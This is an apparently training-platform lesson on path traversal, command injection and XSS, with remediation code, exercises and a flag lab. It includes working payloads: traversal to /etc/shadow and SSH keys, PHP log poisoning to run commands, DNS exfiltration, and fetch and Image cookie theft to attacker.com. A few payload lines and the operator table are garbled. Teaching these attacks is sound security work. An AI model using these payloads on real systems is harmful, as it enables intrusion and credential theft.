Path Traversal, Command Injection & XSS
Theory
Prerequisites
- PEN-K005: SQL Injection (injection fundamentals)
Why This Lesson Matters
Three attack classes, one shared root cause: user-controlled input is interpreted as code or commands rather than data. Path traversal reads files the server should never expose. Command injection executes OS commands. XSS executes scripts in victims' browsers. Together they cover the majority of "client says the app is secure, let's see" pentests.
1. Path Traversal
1.1 The Vulnerability
The application uses user input to construct a file path without sanitisation:
// Vulnerable
$file = $_GET['page'];
include("/var/www/html/pages/" . $file);
// Attacker sends:
// ?page=../../../etc/passwd
// Resolved path: /var/www/html/pages/../../../etc/passwd = /etc/passwd
1.2 Detection & Exploitation
# Basic traversal
?page=../../../etc/passwd
# URL-encoded variants (for WAF bypass)
?page=..%2F..%2F..%2Fetc%2Fpasswd
?page=..%252F..%252F..%252Fetc%252Fpasswd # double-encoded
# Windows targets
?page=......windowswin.ini
?page=..%5C..%5C..%5Cwindows%5Cwin.ini
# Null byte (PHP < 5.3.4)
?page=../../../etc/passwd%00.html
# Interesting Linux targets
/etc/passwd → user accounts
/etc/shadow → password hashes (requires root — confirms extreme privilege)
/etc/hosts → internal network mapping
/proc/self/environ → environment variables (may contain secrets)
/proc/self/cmdline → current process command line
~/.ssh/id_rsa → SSH private key (if web process runs as a user with SSH)
/var/log/apache2/access.log → log poisoning target
1.3 Log Poisoning to RCE
# Step 1: inject PHP code into the access log via User-Agent
curl "https://target/page" -H "User-Agent: <?php system($_GET['cmd']); ?>"
# Step 2: include the log file via path traversal
https://target/?page=../../../var/log/apache2/access.log&cmd=id
# The PHP in the User-Agent header now executes
1.4 Remediation
# Canonicalise and validate the path
import os
BASE_DIR = "/var/www/html/pages/"
def safe_include(filename):
# Remove any traversal sequences
safe_name = os.path.basename(filename) # strips all directory components
full_path = os.path.realpath(os.path.join(BASE_DIR, safe_name))
# Confirm the resolved path is still within the base directory
if not full_path.startswith(BASE_DIR):
raise ValueError("Path traversal detected")
return full_path
2. Command Injection
2.1 The Vulnerability
The application passes user input to a shell command:
// Vulnerable
$ip = $_GET['ip'];
$output = shell_exec("ping -c 1 " . $ip);
// Normal: ?ip=8.8.8.8 → ping -c 1 8.8.8.8
// Attack: ?ip=8.8.8.8; id → ping -c 1 8.8.8.8; id
// The ; separates commands → id executes after ping
2.2 Injection Operators
| Operator | Behaviour | Example |
|---|---|---|
; |
Execute both commands | 8.8.8.8; id |
&& |
Execute second only if first succeeds | 8.8.8.8 && id |
|| |
Execute second only if first fails | invalid || id |
` |
Execute and substitute output | 8.8.8.8`id` |
$() |
Execute and substitute (modern form) | 8.8.8.8$(id) |
| |
Pipe output to second command | 8.8.8.8 | id |
| ` | ||
| Newline — acts like;|8.8.8.8%0aid` |
2.3 Out-of-Band Confirmation
If the app does not show command output, use out-of-band:
# DNS exfiltration (output in a subdomain query)
?ip=8.8.8.8;nslookup+$(id | xxd -p | head -1).attacker.com
# Your DNS server receives: 726f6f74.attacker.com → decode hex → "root"
2.4 Remediation
# Use subprocess with argument list — never with shell=True
import subprocess
def safe_ping(ip):
# Validate: IP must match strict pattern
import re
if not re.match(r'^[d.]+$', ip):
raise ValueError("Invalid IP")
result = subprocess.run(["ping", "-c", "1", ip],
capture_output=True, text=True, timeout=5)
return result.stdout
# subprocess list form NEVER spawns a shell — shell metacharacters are inert
3. Cross-Site Scripting (XSS)
3.1 Types
Reflected XSS: Payload is in the URL; executes when victim clicks the link.
https://app.corp.local/search?q=<script>alert(document.cookie)</script>
Stored XSS: Payload is saved in the database; executes for every user who views the page.
Post a comment: <script>fetch('https://attacker.com/?c='+document.cookie)</script>
DOM-based XSS: JavaScript on the page writes unsanitised user input into the DOM.
// Vulnerable:
document.getElementById('output').innerHTML = location.search.split('q=')[1];
// Payload in URL: ?q=<img src=x onerror=alert(1)>
3.2 Impact
- Session theft:
document.cookiesent to attacker server - Credential harvesting: inject a fake login form over the real page
- Browser exploitation: use BeEF to hook the browser
3.3 Testing for XSS
# Simple probe — does it reflect unencoded?
?q=<script>alert(1)</script>
# If filtered, try event-based (avoids <script> tag):
?q=<img src=x onerror=alert(1)>
?q=<svg onload=alert(1)>
?q=javascript:alert(1) # in href context
# Steal cookies (out-of-band confirmation):
<script>new Image().src='https://attacker.com/?c='+document.cookie</script>
3.4 Remediation
<!-- Output encode all user data in HTML context -->
<!-- Bad: -->
<div>Hello, <?= $username ?></div>
<!-- Good: -->
<div>Hello, <?= htmlspecialchars($username, ENT_QUOTES, 'UTF-8') ?></div>
Content Security Policy (CSP): A robust CSP is the second layer of defence:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
4. Common Mistakes
Mistake 1: Using alert(1) as your only XSS proof.
alert(1) proves execution but not impact. Use document.cookie or location.href to demonstrate session theft or redirect capability for a more accurate CVSS score.
Mistake 2: Stopping at path traversal to /etc/passwd.
/etc/passwd shows user accounts (not passwords — those are in /etc/shadow). Escalate by trying to read sensitive files: configuration files with database credentials, SSH private keys, .env files.
Mistake 3: Running command injection payloads that cause system damage.
; rm -rf / is never an acceptable test payload. Use id, whoami, hostname — commands that prove RCE with zero destructive impact.
5. Practice Exercises
-
A parameter
?file=document.pdfloads a file. You send?file=../../../etc/passwdand get the file contents. What CVSS score? What three other files do you try to read to escalate the finding? -
A ping utility in a web app takes user input.
?ip=8.8.8.8; idreturns "uid=33(www-data)". Score this finding. What do you NOT do next? -
A search page reflects your query unencoded. Write the XSS payload that would send
document.cookietohttps://attacker.com/steal.
6. Lab
Assessment mode: flag
challenge_spec_id: 143 — Path traversal
A web application loads pages based on a filename parameter.
Task: 1. Test the parameter for path traversal 2. Read
/etc/passwdto confirm the vulnerability 3. Locate and read the flag file (hint: it is in the web root or /flag/) 4. Submit:PREFIX{flag_value}
7. Framework Alignment
| Framework | Role | Competency | Confidence |
|---|---|---|---|
| CCSSF-PEN | Penetration Tester | Injection and XSS exploitation | High |
| CCSSF-STE | Security Testing | Comprehensive web vulnerability testing | High |
| CCSSF-ENG | Security Engineer | Input validation and output encoding | High |
| NICE 2.2.0 | Security Testing | K0009 — Application vulnerabilities | High |
8. Further Reading
- PortSwigger Path Traversal Labs — 6 labs with increasing bypass complexity
- PortSwigger Command Injection Labs — 5 labs including blind injection
- PortSwigger XSS Labs — 30 labs; the most comprehensive XSS practice available
Learning Objectives
["Exploit a path traversal vulnerability to read /etc/passwd and escalate to reading a sensitive configuration file, using three URL-encoded bypass variants", "Inject a command using the semicolon operator and confirm execution with id; then demonstrate out-of-band confirmation using a DNS callback", "Exploit a reflected XSS vulnerability to steal document.cookie using an Image src payload and explain why this is more impactful than alert(1)"]
Lesson Outline
Prerequisites → Why this matters → Path traversal (vulnerability, detection, encoded bypasses, log poisoning RCE, remediation) → Command injection (operators table, out-of-band confirmation, safe subprocess) → XSS (3 types, testing payloads, cookie theft, CSP remediation) → Common mistakes → Practice exercises → Lab (flag, spec 143) → Framework alignment → Further reading
Challenge Lab
Reinforce your learning with a hands-on generated challenge based on this card's competency.